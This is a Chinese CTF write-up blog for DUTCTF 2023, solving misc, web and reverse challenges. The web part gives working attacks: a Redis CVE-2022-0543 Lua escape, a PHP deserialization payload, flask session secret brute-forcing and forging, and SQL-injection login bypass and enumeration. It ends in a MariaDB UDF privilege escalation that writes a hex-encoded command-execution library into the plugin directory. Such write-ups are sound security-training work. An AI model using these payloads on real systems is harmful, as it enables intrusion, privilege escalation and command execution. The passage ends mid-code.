DUTCTF 2023

DUTCTF2023

前言

嗨害嗨, 我又来辣, 有了上次参赛的经验, 我直接一雪前耻, 虽然欺负学弟好像有点不太好 (逃

按照惯例, 题解要在 24 小时内提交上去, 所以又可以水一篇博客啦~

这次 CTF 比赛依然分 MISC, WEB, REVERSE, PWN, CRYPTO 五个方向, 共有 33 道题, 带 * 的是签到题. 官方题解: https://dlut-sss.feishu.cn/wiki/wikcno1vgf25sAp9pkd2E20Whje

这次就小小地班门弄斧一下, 画删除线的是我没做出来的题, 但是有思路, 只是由于思路不一定对/时间不够/实现起来比较难所以没做出来, 我把思路写出来, 然后和官方题解进行对比, 看看我差在哪里

misc

*签到题(易)

https://www.bilibili.com/video/BV17L4y1772C

1

PS: 我可是老粉了(doge

*Minecraft(易)

天上有个 flag 标志, 下面有棵树, 挖开底下有个箱子, 箱子里面有本书

(本来以为是藏在 NBT 里的, 还拿 NBTExplorer 打开看了一眼, 结果啥也没找到, 所以进世界转了一圈, 没想到这么简单. 果然是签到题)

感觉可以稍微加点难度, 例如调成冒险然后把作弊关掉, 老玩家应该都知道局域网开作弊 (doge

我在哪?🥵(中)

图片右上角大楼顶有个 CIC, 在百度地图搜 CIC 能搜到 CIC 天和里购物中心和旁边的天和国际中心, 照片是在江对岸的地铁站/轻轨站拍摄的, 考虑到江的弯曲方向, 应该是曾家岩

再计算 32 位 MD5, 所以 flag 是 DUTCTF{21BC3F054D01B826B25A48883E51067E}

不要更新!(中)

给了一个 wireshark 的抓包文件, 用 wireshark 打开, 然后搜索 http 报文, 发现访问了 GitHub 上 IShiraiKurokoI/Flag 这个项目的 release api

打开一看, 太美丽了, 这不是战神月初埋下的伏笔嘛, 因为 follow 了战佬, 我刷 GitHub 的时候还刷到过(

简单看一下代码, 有个写着 rot 的按钮, 但是代码里没有 flag. 然后再看一眼 releases, 只有一个版本, 下载下来发现没签名装不上

联想到题目名为不要更新, 所以猜测之前的提交里可能含有 flag, 然后挨个 commit 找, 在 https://github.com/IShiraiKurokoI/Flag/commit/951c92ee7a3c3a962db6fc294ba7c277be351e61 找到了flag, 但是显然是加密过的

QHGPGS{Hcqngr_1f_t00q_A0g_arkg_g1zr}

之前看到的名为 rot 的按钮提示这应该是凯撒密码 rot13 加密, 随便找个在线工具解密就得到了真正的 flag

DUTCTF{Update_1s_g00d_N0t_next_t1me}

ez_img(中)

先用 strings 看文件是不是隐藏了一些字符串, 发现了一个字符串 eflag:RFVUQ1RGezNFMDc3NDdDLQ== 和一个 4.png

eflag 这串一看就是 base64, 解码可以得到 DUTCTF{3E07747C-

再用 binwalk 提取, 得到一张名为 4.png 的图片和一个名为 QRcode 的文本文件

4.png 上面有一行字 E552-EC96, 所以猜测 flag 应该是 uuid

那么 QRcode 里应该包含的是 uuid 的最后两部分, 之前一直以为是两位或者几位一组转成字节(但是如果是这样的话应该是 8 进制或者 16 进制才对), 甚至还想是每两字节的低 4 位组成一个字节或者是 BCD 码. 直到比赛快结束时突然灵光一现, 有可能是直接把这串数字转成 2 进制, 因为数字实在是太长了之前没往这方面想, 所以编写转换代码如下:

buffer = b''
with open('./QRcode', 'rb') as f:
    while True:
        b = f.read(1)
        if len(b) == 0:
            break
        buffer += b
print(f"buffer length: {len(buffer)}")
num = int(buffer)
binstr = bin(num)[2:]
print(f"bin str length: {len(binstr)}")
# temp = ""
# for i in range(0, len(binstr), 20):
#     temp += binstr[i]
# binstr = temp
with open('./out_bin', 'wb') as f:
    f.write(binstr.encode())

转换后发现长度是 250000, 正好是 500 的平方, 然后打开文件发现整个字符串均由 20 个连续的 0 或 1 组成, 于是猜测每 20 位是一个像素点, 本来我想写一个将每 20 位转换为 1 位的脚本 (上述代码注释部分), 以为这样能方便观察和扫码, 结果我因为着急代码写错了, 只将宽度缩小到了 1/20, 高度忘记缩小了, 最后转换成了一个细长的二维码, 但是通过改变宽度也能看出来二维码, 而且用 QR_Research 能够成功扫出二维码 (这软件真好用), 结果是 -003C-F3DBD9CD6704}, 正好是 uuid 的最后两部分

2

到这其实已经结束了, 拼接后可得 flag 为 DUTCTF{3E07747C-E552-EC96-003C-F3DBD9CD6704}, 但是既然要写博客还是要写全一点, 其实整个就是一个 500*500 的二维码, 每位 0 表示黑色像素, 1 表示白色像素, 最后贴一段用 PIL 库生成二维码图片的代码:

from PIL import Image
W = 500
H = 500
pic = Image.new("RGB", (W, H))
with open('./out_bin', 'rb') as f:
    i = 0
    for y in range(0, H):
        for x in range(0, W):
            b = f.read(1)
            if (b == b'0'):
                pic.putpixel([x, y], (0, 0, 0))
            else:
                pic.putpixel([x, y], (255, 255, 255))
            i = i + 1
pic.show()
pic.save("qrcode.png")

可惜的是比赛 9:00 结束, 我 9:03 才做出来, 痛失 951 分 55555

babymisc(中)

简单的安卓逆向

用 jadx 反编译, 先看 MainActivity, 可以看到整个 app 是一个 webview 套壳, 用 jsbridge 来实现 webview 和 app 之间的通信, webview 在联网状态下会打开一个无效的地址, 需要断网才会加载 assets 里的 html 网页

然后看 com.shirai_kuroko.babymisc.Common.SDK.BrowserProxyassets/BabyMisc.html, 得知点击 获取Flag按钮 的回调中被注释的代码 window.NativeBabyMiscProxy.issueCommand('114514','Check','{\"token\":\"null\",\"TimeStamp\":114514}') 会调用 com.shirai_kuroko.babymisc.Common.SDK.CheckCommand#execute(JSONObject), 其中 this.cmdName 为 "Check", this.cmdId 为 "114514", this.jsonObject 为传入的第三个 json 参数. execute 方法中要求在传入的 json 中, "TimeStamp" 的值和当前时间戳相差小于 3000 毫秒, "token" 的值为 "SSSCTF:38400000-8cf0-11bd-b23e-10b96e4ef00d<设备名称的url编码>" 的 base64 编码, 然后才会执行 com.shirai_kuroko.babymisc.Common.SDK.ShowCommand#execute(JSONObject), 并且把当前的 cmdName 和 cmdId 传过去. 然后在 ShowCommand 的 execute 方法中判断 cmdId 是否包含 "1919810", 如果包含则在弹窗中输出 flag.

一般来说, 对于大部分国产 UI, 设备名称是手机型号, 也可以自己编写一个 app 输出一下, 关键代码如下:

void printDeviceName(Context context) {
    System.out.println("device_name: " + URLEncoder.encode(Settings.Global.getString(context.getContentResolver(), "device_name")));
}

综上所述, 我们只要把 BabyMisc.html 的 rise() 回调中的代码改为以下代码 (已隐去 base64 中的设备型号信息), 由于 app 没有验签机制, 直接修改 html 然后重签名即可:

window.NativeBabyMiscProxy.issueCommand('1919810','Check','{\"token\":\"U1NTQ1RGOjM4NDAwMDAwLThjZjAtMTFiZC1iMjNlLTEwYjk2ZTRlZjAwZEJNSC1BTjEw\",\"TimeStamp\":'+'Date.parse(new Date())'+'}')

断网, 运行应用, 点击按钮获得 flag

flag{ea5y_b4by_m1sc_fun}

这道题还有另一种解法, 就是发现 flag 是 AES 加密存储在资源文件里的, 密钥存储在 com.shirai_kuroko.babymisc.Common.Util.AES$secretKey 变量中, 即 "SSSCTF", 所以把这个类保存到本地然后跑一遍解密就行了, 代码如下:

// 需要下载这个库: https://repo1.maven.org/maven2/org/bouncycastle/bcprov-jdk18on/1.72/bcprov-jdk18on-1.72.jar
public class AES {
    private static final String CIPHER_ALGORITHM = "AES/ECB/PKCS7Padding";
    private static final String DEFAULT_VALUE = "0";
    private static final String KEY_ALGORITHM = "AES";
    public static final int SECRET_KEY_LENGTH = 32;
    private static final String secretKey = "SSSCTF";
    private static final Charset CHARSET_UTF8 = StandardCharsets.UTF_8;

    static { try { Security.addProvider(new BouncyCastleProvider()); } catch (Exception e) { e.printStackTrace(); } }

    public static String encrypt(String data) {
        try {
            Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM);
            cipher.init(1, getSecretKey(secretKey));
            byte[] encryptByte = cipher.doFinal(data.getBytes(CHARSET_UTF8));
            return base64Encode(encryptByte);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static String decrypt(String base64Data) {
        try {
            byte[] data = base64Decode(base64Data);
            Cipher cipher = Cipher.getInstance(CIPHER_ALGORITHM);
            cipher.init(2, getSecretKey(secretKey));
            byte[] result = cipher.doFinal(data);
            return new String(result, CHARSET_UTF8);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    public static SecretKeySpec getSecretKey(String secretKey2) {
        return new SecretKeySpec(toMakeKey(secretKey2, 32, DEFAULT_VALUE).getBytes(CHARSET_UTF8), KEY_ALGORITHM);
    }

    private static String toMakeKey(String secretKey2, int length, String text) {
        int strLen = secretKey2.length();
        if (strLen < length) {
            StringBuilder builder = new StringBuilder();
            builder.append(secretKey2);
            for (int i = 0; i < length - strLen; i++) {
                builder.append(text);
            }
            return builder.toString();
        }
        return secretKey2;
    }

    public static byte[] base64Decode(String data) {
        return Base64.getDecoder().decode(data);
    }

    public static String base64Encode(byte[] data) {
        return Base64.getEncoder().encodeToString(data);
    }

    public static void main(String[] args) {
        String fsadfffdsdsafdaf = "/yBNvfc8Xo9fLN5MqbRMhc/zaV0qnMfilMzYUbhw+9k=";
        System.out.println(decrypt(fsadfffdsdsafdaf));
    }
}

babymisc2(难)

360 的壳, 不会脱, 过

没想到根本没让我脱壳…

看雪❄(难)

简单的信息检索

首先 google 搜看雪 irc, 得到 https://bbs.kanxue.com/thread-20515.htm, 但是不对

底下有个使用方法 http://www.pediy.com/irc.htm, 但是打不开

所以尝试 web archive, 找最后一次的快照 https://web.archive.org/web/20050817163551/http://www.pediy.com/Irc.htm

DUTCTF{202.96.137.64:6667#Crack}

web

embryo_web {易}

用 postman 或者 curl 等工具直接请求 http://210.30.97.133:28000/ 即可得到 flag

<a href="/Nonono">See Other</a>.

<!-- flag{We1com3_to_DuTCtF} -->

*Trenja(易)

直接打开开发人员工具, 在代码里搜 flag, 每个小游戏各有一半, 拼到一起即可

flag{5m4sh_b10ck5_4nd_l3t_T-R3x_run}

babyphp {中}

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,而序列化的对象只含有对象的属性,所以利用对对象属性的篡改实现最终的攻击

<?php
class Info {
    public $nickname = 'admin';
}
class User {
    public $name = 'admin';
    public $info = null;
    function setInfo($info) {
        $this->info = $info;
    }
}
$info = new Info;
$user = new User;
$user->setInfo($info);
$a = serialize($user);
var_dump($a);

构造请求参数 user=O:4:%22User%22:2:{s:4:%22name%22;s:5:%22admin%22;s:4:%22info%22;O:4:%22Info%22:1:{s:8:%22nickname%22;s:5:%22admin%22;}} 即可得到 flag

cve(中)

访问 /, 发现 redis 版本为 5.0.7, 然后在网上搜 redis 5.0.7 的 cve 漏洞, 找到了 CVE-2022-0543 和它的复现代码: https://www.cnblogs.com/h0cksr/p/16189735.html, 照着文章复现就行了

向 /doCustom 发 POST 请求, 请求体的 key 是 custom, value 为以下内容:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat flag", "r"); local res = f:read("*a"); f:close(); return res

fake_session{中}

看到 fake_session 就知道是伪造 session, 但是 secret 未知, 而且也无法通过注入攻击获得 secret, 那就只能是暴力破解了, 所以我尝试了用 flask-unsign 库自带的词典进行破解, 还生成了 4 字符的词典进行破解, 结果都不行, 然后就暂时放弃了. 后来发了 hint 提示说 secret 是弱口令, 所以 secret 可能比 4 位还短, 我之前一直以为弱口令怎么也得是 4~6 位

生成字典:

import itertools
keys = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz$@_"
with open("./wordlist.txt", "w") as f:
    for length in range(1, 4 + 1):
        for word in itertools.product(keys, repeat=length):
            f.write("".join(word) + "\n")

暴力破解:

pip install flask-unsign[wordlist]
flask-unsign --unsign --server "http://210.30.97.133:28063" --wordlist ./wordlist.txt -nE

重新签名:

flask-unsign --sign --cookie "{'user':'admin'}" --secret "l11"

ez_udf【难】

/login.php?email=abc&1' or '1' = '1 就进去了, 然后找了一圈只发现了 /member.php?id=1 这个链接, 应该可以注入

然后尝试各种注入 (记得 url 编码或者用 postman 等工具提交):

-- 爆字段
1 order by 1 #
1 order by 2 #
1 order by 3 #
1 order by 4 #
1 order by 5 #
-- 试到 5 的时候不返回说明这个表有 4 个字段

-- 看回显
0 union select 1,2,3,4 #
-- 返回 4 说明回显的是第四个字段

-- 爆数据库
0 union select 1,2,3,user() #
0 union select 1,2,3,version() #
0 union select 1,2,3,database() #
-- 用户是 root@localhost, 版本 10.4.13-MariaDB, 数据库名为 ez_udf

-- 爆数据库的表
0 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #
-- 表名为 users

-- 爆出表的列
0 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' #
-- 返回 USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,ip,time,id,email,password,page

-- 表里共有几条数据
0 union select 1,2,3,count(*) #
-- 只有 1 条

然后我顺手查了一下 id=1 的条目, 邮箱是 For1moc@scr1w.com, 密码是 123456, page 是 For1moc.html, 里面并没有 flag

联想到题目名字叫 ez_udf, 到百度上搜了搜 udf, 发现可能可以利用 udf 提权, 所以找了几篇文章开始尝试

-- 爆 mysql 和 udf 插件路径
0 union select 1,2,3,@@basedir #
0 union select 1,2,3,@@datadir #
0 union select 1,2,3,@@plugin_dir #
-- mysql 路径: /usr, 插件路径: /usr/lib/mariadb/plugin/
0 union select 1,2,3,file_priv from mysql.user where user = 'root' #
-- 返回 Y 说明对目录有写入权限

接下来需要准备一个能执行命令的 udf 插件, 我是从 https://github.com/rapid7/metasploit-framework/blob/master/data/exploits/mysql/lib_mysqludf_sys_64.so 下载的

-- 在自己 mysql 服务器上执行, 将文件转为 16 进制流
select hex(load_file("<mysql 有权限访问的路径>/lib_mysqludf_sys_64.so"));
-- 接下来回到靶机
-- 创建插件目录 (不知道需不需要)
0 union select 'xxx' into outfile '/usr/lib/mariadb/plugin/::$INDEX_ALLOCATION' #
-- 文件太大, 超过了 url 参数长度限制, 所以分成 3 次用 dumpfile 上传
0 union select '7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000000000000801720000000000008000000000000008017200000000000D01620000000000006000000020000000000000000000000D81620000000000006000000030000000000000000000000E016200000000000060000000A00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000A00000000000000000000003817200000000000070000000B00000000000000000000004017200000000000070000000C00000000000000000000004817200000000000070000000D00000000000000000000005017200000000000070000000E00000000000000000000005817200000000000070000000F000000000000000000000060172000000000000700000010000000000000000000000068172000000000000700000011000000000000000000000070172000000000000700000012000000000000000000000078172000000000000700000013','','','' into dumpfile '/usr/lib/mariadb/plugin/a.txt' #
0 union select '00000000000000000000004883EC08E827010000E8C2010000E88D0500004883C408C3FF35320B2000FF25340B20000F1F4000FF25320B20006800000000E9E0FFFFFFFF252A0B20006801000000E9D0FFFFFFFF25220B20006802000000E9C0FFFFFFFF251A0B20006803000000E9B0FFFFFFFF25120B20006804000000E9A0FFFFFFFF250A0B20006805000000E990FFFFFFFF25020B20006806000000E980FFFFFFFF25FA0A20006807000000E970FFFFFFFF25F20A20006808000000E960FFFFFFFF25EA0A20006809000000E950FFFFFFFF25E20A2000680A000000E940FFFFFFFF25DA0A2000680B000000E930FFFFFFFF25D20A2000680C000000E920FFFFFFFF25CA0A2000680D000000E910FFFFFFFF25C20A2000680E000000E900FFFFFFFF25BA0A2000680F000000E9F0FEFFFF00000000000000004883EC08488B05F50920004885C07402FFD04883C408C390909090909090909055803D900A2000004889E5415453756248833DD809200000740C488B3D6F0A2000E812FFFFFF488D05130820004C8D2504082000488B15650A20004C29E048C1F803488D58FF4839DA73200F1F440000488D4201488905450A200041FF14C4488B153A0A20004839DA72E5C605260A2000015B415CC9C3660F1F8400000000005548833DBF072000004889E57422488B05530920004885C07416488D3DA70720004989C3C941FFE30F1F840000000000C9C39090C3C3C3C331C0C3C341544883C9FF4989F455534883EC10488B4610488B3831C0F2AE48F7D1488D69FFE8B6FEFFFF83F80089C77C61754FBF1E000000E803FEFFFF488D70FF4531C94531C031FFB921000000BA07000000488D042E48F7D64821C6E8AEFEFFFF4883F8FF4889C37427498B4424104889EA4889DF488B30E852FEFFFFFFD3EB0CBA0100000031F6E802FEFFFF31C0EB05B8010000005A595B5D415CC34157BF00040000415641554531ED415455534889F34883EC1848894C24104C89442408E85AFDFFFFBF010000004989C6E84DFDFFFFC600004889C5488B4310488D356A030000488B38E814FEFFFF4989C7EB374C89F731C04883C9FFF2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000','','','' into dumpfile '/usr/lib/mariadb/plugin/b.txt' #
0 union select 'F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000','','','' into dumpfile '/usr/lib/mariadb/plugin/c.txt' #
-- 合并成完整的 udf 插件
0 union select unhex(concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'))),'','','' into dumpfile '/usr/lib/mariadb/plugin/udf.so' #
-- 创建函数
0; create function sys_eval returns string soname 'udf.so' #
-- 执行命令
0 union select 1,2,3,sys_eval('ls /') #
0 union select 1,2,3,sys_eval('cat /flag') #
-- 得到 flag

PS: 创建函数那里我差点没想到该咋做, 因为刚开始注入的时候我试过加分号, 但是因为没回显就以为不好使, 现在想想应该是没返回 4 个字段才没回显, 而不是出错, 后来到创建函数的时候发现如果不能加分号执行创建函数的命令的话就做不下去了, 所以又试了一下, 没想到就成功了

参考资料:

  • sql 注入: https://blog.csdn.net/vanarrow/article/details/107991185
  • udf 提权:
    • https://www.bilibili.com/read/cv17038315
    • https://www.cnblogs.com/JInG7Yu/p/16368984.html
    • https://www.52pojie.cn/thread-1487624-1-1.html

reverse

*贪吃蛇(易)

直接在字符串里找 flag

ezdraw(易)

ida graph 缩小到 1% 就能看到 flag 了

3

DUTCTF{lets_draw!}

game!{中}

将 draft.exe 的 8A 76 15 52 7E 52 F2 3F 修改为 00 00 00 00 F0 69 F8 40 即可将时间修改为 99999 秒, 然后五子棋下赢电脑即可得到 flag

flag{Welc0me_t0_the_gameREVERSE}

以下是十六进制和双精度浮点数互相转换的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
    // 十六进制转双精度
